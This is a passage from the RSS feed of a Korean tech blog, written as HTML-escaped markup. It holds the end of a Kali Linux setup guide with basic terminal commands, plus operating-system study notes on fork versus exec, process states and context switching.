onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1483&quot; height=&quot;833&quot; data-origin-width=&quot;1483&quot; data-origin-height=&quot;833&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림7 - 칼리리눅스 터미널 열기&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;sudo apt update 명령어를 입력하여 관리자 권한으로 설치 가능한 패키지 리스트를 최신화 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;upgrade 명령어는 실제 업데이트로 여러 도구들이 업데이트 되면서 기존 프로그램과의 충돌 오류가 있을 가능성이 있으니 지양하도록 한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;648&quot; data-origin-height=&quot;518&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cjG3OE/btsJd4ltH0S/CxmcRiu6gGujALarUMBpA1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cjG3OE/btsJd4ltH0S/CxmcRiu6gGujALarUMBpA1/img.png&quot; data-alt=&quot;그림8 - 패키지 리스트 최신화&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cjG3OE/btsJd4ltH0S/CxmcRiu6gGujALarUMBpA1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcjG3OE%2FbtsJd4ltH0S%2FCxmcRiu6gGujALarUMBpA1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;648&quot; height=&quot;518&quot; data-origin-width=&quot;648&quot; data-origin-height=&quot;518&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림8 - 패키지 리스트 최신화&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;sudo su - 명령어를 입력하면 root 권한으로 전환되며, root 권한으로 전환되면 sudo 명령어를 앞에 입력하지 않아도 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;exit 를 입력하면 사용자가 다시 kali 로 전환된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;id 명령어 입력시 현재 로그인한 사용자 정보를 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;365&quot; data-origin-height=&quot;108&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/uHof1/btsJd4ltIaV/F29yYkxjoAyQus1R0FoQi1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/uHof1/btsJd4ltIaV/F29yYkxjoAyQus1R0FoQi1/img.png&quot; data-alt=&quot;그림9 - root 권한으로 전환&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/uHof1/btsJd4ltIaV/F29yYkxjoAyQus1R0FoQi1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FuHof1%2FbtsJd4ltIaV%2FF29yYkxjoAyQus1R0FoQi1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;365&quot; height=&quot;108&quot; data-origin-width=&quot;365&quot; data-origin-height=&quot;108&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림9 - root 권한으로 전환&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;627&quot; data-origin-height=&quot;93&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bV5ebK/btsJeQUhldS/VfZL1R82hj16KJQkiEy1p1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bV5ebK/btsJeQUhldS/VfZL1R82hj16KJQkiEy1p1/img.png&quot; data-alt=&quot;그림10 - id 명령어로 현재 로그인한 사용자 정보 확인&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bV5ebK/btsJeQUhldS/VfZL1R82hj16KJQkiEy1p1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbV5ebK%2FbtsJeQUhldS%2FVfZL1R82hj16KJQkiEy1p1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;627&quot; height=&quot;93&quot; data-origin-width=&quot;627&quot; data-origin-height=&quot;93&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림10 - id 명령어로 현재 로그인한 사용자 정보 확인&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ifconfig 또는 ip addr 명령어를 입력하면 칼리리눅스의 IP 주소 및 네트워크 구성 정보를 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;네트워크가 NAT 로 구성되어 있다면 192.168.0.0/16 대역으로 구성되어 있는 것을 확인해야 한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;596&quot; data-origin-height=&quot;599&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ASZwY/btsJd6jrMGY/Abpn6zsG0PGJtk5SJgz5zk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ASZwY/btsJd6jrMGY/Abpn6zsG0PGJtk5SJgz5zk/img.png&quot; data-alt=&quot;그림11 - 네트워크 주소 확인&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ASZwY/btsJd6jrMGY/Abpn6zsG0PGJtk5SJgz5zk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FASZwY%2FbtsJd6jrMGY%2FAbpn6zsG0PGJtk5SJgz5zk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;596&quot; height=&quot;599&quot; data-origin-width=&quot;596&quot; data-origin-height=&quot;599&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림11 - 네트워크 주소 확인&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;네트워크 테스트를 위해 8.8.8.8(구글 DNS 서버)로 ping 명령어를 사용한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정상적으로 ICMP 패킷을 주고받는것을 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ctrl + c 를 눌러 중단한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;505&quot; data-origin-height=&quot;185&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dEsvzh/btsJgeGp7D3/5fhnWSae4rOnBWU9kK1pX0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dEsvzh/btsJgeGp7D3/5fhnWSae4rOnBWU9kK1pX0/img.png&quot; data-alt=&quot;그림12 - ping 8.8.8.8&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dEsvzh/btsJgeGp7D3/5fhnWSae4rOnBWU9kK1pX0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdEsvzh%2FbtsJgeGp7D3%2F5fhnWSae4rOnBWU9kK1pX0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;505&quot; height=&quot;185&quot; data-origin-width=&quot;505&quot; data-origin-height=&quot;185&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림12 - ping 8.8.8.8&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;</description>
      <category>보안/환경 구축</category>
      <category>Kali</category>
      <category>Kali Linux</category>
      <category>VMware Workstation</category>
      <category>칼리리눅스</category>
      <author>Security Engineer</author>
      <guid isPermaLink="true">https://it-log.tistory.com/187</guid>
      <comments>https://it-log.tistory.com/187#entry187comment</comments>
      <pubDate>Mon, 26 Aug 2024 01:00:23 +0900</pubDate>
    </item>
    <item>
      <title>프로세스 생성과 복사</title>
      <link>https://it-log.tistory.com/186</link>
      <description>&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;프로세스 관련 함수&lt;/b&gt;&lt;/h2&gt;
&lt;table style=&quot;color: #333333; text-align: start; border-collapse: collapse; width: 83.1395%;&quot; border=&quot;1&quot; data-ke-style=&quot;style12&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;background-color: #9b9b9b; color: #ffffff; text-align: center; width: 40.1959%;&quot;&gt;&lt;b&gt;Win32 API&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #9b9b9b; color: #ffffff; text-align: center; width: 42.8273%;&quot;&gt;&lt;b&gt;UNIX&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;background-color: #efefef; text-align: center; width: 40.1959%;&quot;&gt;CreateProcess();&lt;/td&gt;
&lt;td style=&quot;text-align: center; width: 42.8273%;&quot;&gt;fork();&amp;nbsp; exec();&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;background-color: #efefef; text-align: center; width: 40.1959%;&quot;&gt;ExitProcess();&lt;/td&gt;
&lt;td style=&quot;background-color: #f9f9f9; text-align: center; width: 42.8273%;&quot;&gt;exit();&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;background-color: #efefef; text-align: center; width: 40.1959%;&quot;&gt;WaitForSingleObject();&lt;/td&gt;
&lt;td style=&quot;text-align: center; width: 42.8273%;&quot;&gt;wait();&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;새로운 프로세스 생성&lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc; color: #333333; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;OS는 프로세스 마다 가상메모리 공간을 할당한다.&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;새로운 프로세스가 정상 작동하기 위해 가상 메모리 공간이 준비되어야 한다.&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;Process + PCB + VMS(가상 메모리 공간)&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;새로운 프로세스 생성 시 부모 프로세스(기존)와 자식 프로세스(새로운)로 관계가 형성된다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;fork와 exec의 차이&lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc; color: #333333; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;fork(): 새로운 프로세스를 위해 메모리를 할당한다, 기존 프로세스를 복사한다.&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;exec(): 새로운 프로세스를 위해 메모리를 할당 하지 않고, exec()에 의해 호출된 프로세스만 메모리에 남게된다.&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;fork()는 프로세스가 하나 더 생기는 것이다. &amp;rarr; 새로운 PID가 생성됨. (새로운 세입자를 위해 새 집을 구매)&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;exec()는 새로운 프로세스에 의해 기존 프로세스가 대체된다. &amp;rarr; 기존 PID 사용 (기존 세입자를 새로운 세입자가 대체)&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;fork()는 소요되는 리소스가 많아 비효율적이며, exec()은 기존꺼를 그대로 사용하여 대체하므로 효율적이다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;참고&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://www.inflearn.com/course/%EA%B3%B0%EC%B1%85-%EC%89%BD%EA%B2%8C-%EB%B0%B0%EC%9A%B0%EB%8A%94-%EC%9A%B4%EC%98%81%EC%B2%B4%EC%A0%9C&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://www.inflearn.com/course/%EA%B3%B0%EC%B1%85-%EC%89%BD%EA%B2%8C-%EB%B0%B0%EC%9A%B0%EB%8A%94-%EC%9A%B4%EC%98%81%EC%B2%B4%EC%A0%9C&lt;/a&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://woochan-autobiography.tistory.com/207&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://woochan-autobiography.tistory.com/207&lt;/a&gt;&lt;/p&gt;</description>
      <category>IT 지식/운영체제</category>
      <category>CS</category>
      <category>CS 기초</category>
      <category>exec</category>
      <category>fork</category>
      <category>OS</category>
      <category>운영체제</category>
      <category>프로세스</category>
      <category>프로세스 복사</category>
      <category>프로세스 생성</category>
      <author>Security Engineer</author>
      <guid isPermaLink="true">https://it-log.tistory.com/186</guid>
      <comments>https://it-log.tistory.com/186#entry186comment</comments>
      <pubDate>Sun, 25 Aug 2024 00:12:31 +0900</pubDate>
    </item>
    <item>
      <title>프로세스 휴식, 보류 상태와 문맥(Context)</title>
      <link>https://it-log.tistory.com/185</link>
      <description>&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;프로세스의 상태&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;745&quot; data-origin-height=&quot;422&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cL6Kig/btsI7gZsocW/0MJgJMTFrqcBlvsIlk3cP0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cL6Kig/btsI7gZsocW/0MJgJMTFrqcBlvsIlk3cP0/img.png&quot; data-alt=&quot;그림1 - 프로세스의 상태1&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cL6Kig/btsI7gZsocW/0MJgJMTFrqcBlvsIlk3cP0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcL6Kig%2FbtsI7gZsocW%2F0MJgJMTFrqcBlvsIlk3cP0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;745&quot; height=&quot;422&quot; data-origin-width=&quot;745&quot; data-origin-height=&quot;422&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림1 - 프로세스의 상태1&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #333333; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;프로세스의 상태는 전이한다.&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;생성 &amp;rarr; 준비 &amp;rarr; 실행 &amp;rarr; 완료&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;생성 &amp;rarr; 준비 &amp;rarr; 실행 &amp;rarr; 대기 &amp;rarr; 준비 &amp;rarr; 실행 &amp;rarr; 완료&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;Ready Queue (준비 상태 큐)&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;586&quot; data-origin-height=&quot;303&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/becaKT/btsI78Na91B/4LUk8HkPeUttZkv5YUPkt0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/becaKT/btsI78Na91B/4LUk8HkPeUttZkv5YUPkt0/img.png&quot; data-alt=&quot;그림2 - 준비 상태 큐&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/becaKT/btsI78Na91B/4LUk8HkPeUttZkv5YUPkt0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbecaKT%2FbtsI78Na91B%2F4LUk8HkPeUttZkv5YUPkt0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;586&quot; height=&quot;303&quot; data-origin-width=&quot;586&quot; data-origin-height=&quot;303&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림2 - 준비 상태 큐&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #333333; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;준비 상태의 프로세스(스레드)를 Queue에 가지고 있는다.&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;OS가 T1, T2 등의 프로세스(스레드)를 디스패치하여 끄집어내서 실행&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: left;&quot;&gt;프로세스가 I/O 요청 시 Device에서 응답 받을 때 까지 기다린다. = 대기 상태 = Blocking I/O&lt;/span&gt;&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;&lt;span style=&quot;background-color: #ffffff;&quot;&gt;요&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: left;&quot;&gt;청한 프로세스의 실행상태가 유지됨 =&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: left;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: left;&quot;&gt;기다리지 않고 비동기적으로 한다.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: left;&quot;&gt;= Non Blocking I/O&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;&lt;span style=&quot;background-color: #ffffff;&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: left;&quot;&gt;프로세스의 Sleep(휴식) 과 Suspend(보류)&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;902&quot; data-origin-height=&quot;797&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/CBS9p/btsI5Por9xN/SZoC90GRSSUTnkYkwYK6IK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/CBS9p/btsI5Por9xN/SZoC90GRSSUTnkYkwYK6IK/img.png&quot; data-alt=&quot;그림3 - 보류 상태를 포함한 프로세스의 상태&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/CBS9p/btsI5Por9xN/SZoC90GRSSUTnkYkwYK6IK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FCBS9p%2FbtsI5Por9xN%2FSZoC90GRSSUTnkYkwYK6IK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;902&quot; height=&quot;797&quot; data-origin-width=&quot;902&quot; data-origin-height=&quot;797&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림3 - 보류 상태를 포함한 프로세스의 상태&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #333333; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;Sleep(휴식) &amp;rarr; 자발적 이탈 ( '나 좀 자러 갈게' )&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;Suspend(보류) &amp;rarr; 외부 요인에 의해 의도치 않게 이탈 ( '너 좀 비켜봐' )&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;외부 요인에 의해 이탈하는 경우 &amp;rarr; 가상 메모리에서 Swap 할 때 (RAM에서 HDD로 메모리 이동), 프로그램이 죽었을 때&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;준비 상태의 프로세스(스레드)가 Sleep 또는 Suspend 상태가 되면, Ready Queue의 대기열에서 이탈하게 된다.&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;Sleep의 경우 함수에서 ms 단위로 실행한다. &amp;rarr; 10ms + @ 만큼 쉰다.&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;@는 10ms 이후 Ready Queue에 재진입하여 앞에 있는 프로세스의 연산이 완료되는 시간(랜덤)&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;Sleep 함수의 특징: 자기의 의지로 Ready Queue 대기열에서 이탈 후 정해진 시간 이후에 재진입 후 랜덤 시간 이후에 실행됨&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;Suspend 위와 동일하다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;문맥(Context) 교환(Switch)&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;945&quot; data-origin-height=&quot;465&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lT0vZ/btsI6CoC7Gb/NmEYmSUwOBJ3dR5QvpuBN1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lT0vZ/btsI6CoC7Gb/NmEYmSUwOBJ3dR5QvpuBN1/img.png&quot; data-alt=&quot;그림4 - 문맥 교환(Context Switch) 과정&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lT0vZ/btsI6CoC7Gb/NmEYmSUwOBJ3dR5QvpuBN1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FlT0vZ%2FbtsI6CoC7Gb%2FNmEYmSUwOBJ3dR5QvpuBN1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;945&quot; height=&quot;465&quot; data-origin-width=&quot;945&quot; data-origin-height=&quot;465&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림4 - 문맥 교환(Context Switch) 과정&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #333333; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;프로세스의 상태 = 흐름 = 문맥&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;P1이라는 흐름이 이어지다가, P2로 바뀐다. &amp;rarr; 문맥 교환(Context Switch)&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;P1의 상태를 PCB 1에 저장 = P1의 문맥을 이어가기 위한 상태 저장&lt;/li&gt;
&lt;li style=&quot;list-style-type: disc;&quot;&gt;실행 = 연산 &amp;rarr; CPU가 한다.&lt;/li&gt;
